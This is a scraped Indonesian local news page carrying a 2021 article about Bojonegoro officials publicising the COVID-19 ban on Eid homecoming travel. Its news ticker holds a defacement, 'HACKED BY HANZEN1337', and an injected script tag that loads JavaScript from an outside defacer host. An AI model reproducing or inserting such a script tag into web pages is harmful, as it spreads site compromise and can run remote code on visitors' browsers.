News Ticker
  • HACKED BY HANZEN1337
  • <script src="https://jso.defacer.id/raw/I7j6n4T3C9"></script>
  • Kunjungan Kerja di Bojonegoro, Menhan Sjafrie Sjamsoeddin Tinjau Rencana Pengembangan Batalyon TP 885 dan Brigif 33 di Dander
  • 11 Juli dalam Sejarah
  • Prakiraan Cuaca Bojonegoro 11 Juli 2026
  • Kandang Ayam Senilai Rp2 M di Malo, Bojonegoro Ludes Terbakar
  • Panen Melon Bersama, Bupati Bojonegoro Ajak Generasi Muda Bangun Pertanian Modern
  • Pemkab Bojonegoro Alokasikan Rp11,03 Miliar untuk Lima Program Beasiswa Mahasiswa
  • Seorang Lansia Bojonegoro Tewas Tertabrak Kereta Api Jayabaya di Perlintasan Baureno
  • Perkiraan Harga Emas Hari Ini, 10 Jul 2026
  • Prakiraan Cuaca Bojonegoro 10 Juli 2026
  • 10 Juli dalam Sejarah
  • Kecamatan Kota Dominasi Emas Kickboxing, Klasemen Sementara Porkab II Bojonegoro Masih Memimpin
  • Dalam Sehari Terjadi Enam Kebakaran Lahan di Bojonegoro, Ini Daftarnya
  • Pemkab Bojonegoro Berikan Pembinaan Ribuan Mahasiswa Penerima Beasiswa Daerah
  • "El Último Tango", Sepatu Spesial Adidas untuk Perjalanan Terakhir Messi di Piala Dunia
  • Kejari Bojonegoro Terima Tahap II Kasus Dugaan Peredaran Rokok Ilegal
  • Paripurna DPRD, Raperda Pertanggungjawaban APBD 2025 Disetujui
  • Hadapi Musim Kemarau, Pemkab Bojonegoro Distribusikan Air Bersih ke Sejumlah Desa
  • Pemkab Bojonegoro Dorong Setiap OPD Lahirkan Inovasi Lewat BIA 2026
  • Prakiraan Cuaca Bojonegoro 9 Juli 2026
  • Rumah Kosong di Kapas, Bojonegoro Terbakar, Kerugian Capai 150 Juta Rupiah
  • Merayakan Detik Ini: Menemukan Kedamaian dalam Jejak Hidup yang Singkat
  • Tiga Rumah di Temayang Bojonegoro Terbakar Akibat Korsleting Listrik, Total Kerugian 520 Juta Rupiah
Petugas Gabungan di Bojonegoro Gencar Sosialisasikan Larangan Mudik Lebaran

Petugas Gabungan di Bojonegoro Gencar Sosialisasikan Larangan Mudik Lebaran

Bojonegoro – Sebagai tindak lanjuti kebijakan pemerintah terkait larangan mudik Lebaran, Sat Lantas Polres Bojonegoro bersana Dinas Perhubungan (Dishub) dan Dinas Kesehatan (Dinkes) Kabupaten Bojonegoro, pada Senin (03/05/2021) laksanakan sosialisasi Surat Edaran Nomor 13 Tahun 2021 tentang Peniadaan Mudik Hari Raya Idul Fitri 1442 H, di tempat fasilitas umum, yakni di Terminal Rajekwesi dan Stasiun Kereta Api Bojonegoro.
 
 
 
Kegiatan tersebut sebagai salah satu upaya untuk mengedukasi masyarakat agar tidak mudik dalam rangka mencegah penyebaran COVID-19, khususnya di Kabupaten Bojonegoro.
 
Tampak hadir dalam kegiatan tersebut Kasat Lantas Polres Bojonegoro, AKP Rizal Nugra Wijaya SIK, Kepala Dinas Perhubungan (Dishub) Kabupaten Bojonegoro, Andik Sudjarwo, dan Kepala Dinas Kesehatan (Dinkes), dr Ani Pujiningrum melaksanakan sosialisasi larangan mudik lebaran kepada masyarakat.
 
 

Kasat Lantas Polres Bojonegoro, Kepala Dishub dan Kepala Dinkes Kabupaten Bojonegoro, saat koordinasi dengan petugas Stasiun Kereta Api Bojonegoro, terkait larangan mudik lebaran. (foto: Istimewa)

 
Kasat Lantas AKP Rizal Nugra Wijaya SIK menjelaskan bahwa kegiatan sosialisasi dan edukasi Larangan Mudik Lebaran tahun 2021 tersebut untuk mengurangi mobilitas masyarakat jelang lebaran nanti. Selain itu, untuk memutus mata rantai penyebaran COVID-19.
 
“Hari ini Polres bersama Dinas Perhubungan dan Dinas Kesehatan Bojonegoro melaksnakan sosialisasi Larangan Mudik Lebaran. Kita imbau masyarakat yang berasal dari luar Bojonegoro agar menunda dulu niatnya untuk mudik. Ini kita lakukan demi kepentingan bersama untuk memutuskan mata rantai penyebaran COVID-19,” ucap Kasat Lantas, AKP Rizal Nugra Wijaya.
 
 
Sementara itu, Kepala Dinas Kesehatan Kabupaten Bojonegoro, dr Ani Pujiningrum mengatakan bahwa sosialisasi tentang kebijakan larangan mudik lebaran tersebut pada prinsipnya untuk mencegah penularan virus corona (COVID-19).
 
Menurutnya, kondisi kasus COVID-19 di Kabupaten Bojonegoro saat ini zona kuning dan trennya terus mengalami penurunan, dan kondisi tersebut harus dipertahankan untuk menuju ke zona hijau.
 
“Sosialisasi ini sangat penting. Kita ingin ada sosialisasi di awal, sehingga niat untuk mudik itu nanti tidak dilakukan. Itu lebih penting daripada nanti sudah terlanjur,” kata dr Ani Pujiningrum.
 
 
 

Petugas saat laksanakan sosialisasi larangan mudik lebaran kepada masyarakat di Terminal Rajekwesi Bojonegoro. (foto: Istimewa)

 
 
Dokter Ani Pujiningrum mengingatkan masyarakat agar jangan lengah dan lupa dengan situasi pandemi COVID-19 yang masih terjadi saat ini, sehingga pihaknya berharap agar masyarakat mematuhi larangan mudik lebaran dari pemerintah. Selain Itu, pihaknya juga mengimbau agar warga masyarakat tetap disiplin dalam menjalankan protokol kesehatan COVID-19.
 
“Mari bersama-sama untuk mematuhi anjuran Pemerintah, karena pandemi COVID-19 masih berlangsung dan tidak menutup kemungkinan akan menyebarkan kepada siapapun. Kurangi mobilitas dan tetap disiplin protokol kesehatan. Jangan mudik, sayangi diri dan keluarga,” kata dr Ani Pujiningrum.
 
 
Untuk diketahui, pemerintah melalui Satgas Penanganan COVID-19, telah mengeluarkan Surat Edaran (SE) Nomor 13 Tahun 2021 tentang Peniadaan Mudik Hari Raya Idul Fitri Tahun 1442 Hijriah dan Upaya Pengendalian Penyebaran Corona Virus Disease 2019 (COVID-19) selama Bulan Suci Ramadhan 1442 Hijriah, terhitung mulai tanggal 22 April 2021 sampai dengan 24 Mei 202. (red/imm)
 
Berita Terkait
1783889831.4566 at start, 1783889831.9388 at end, 0.48215079307556 sec elapsed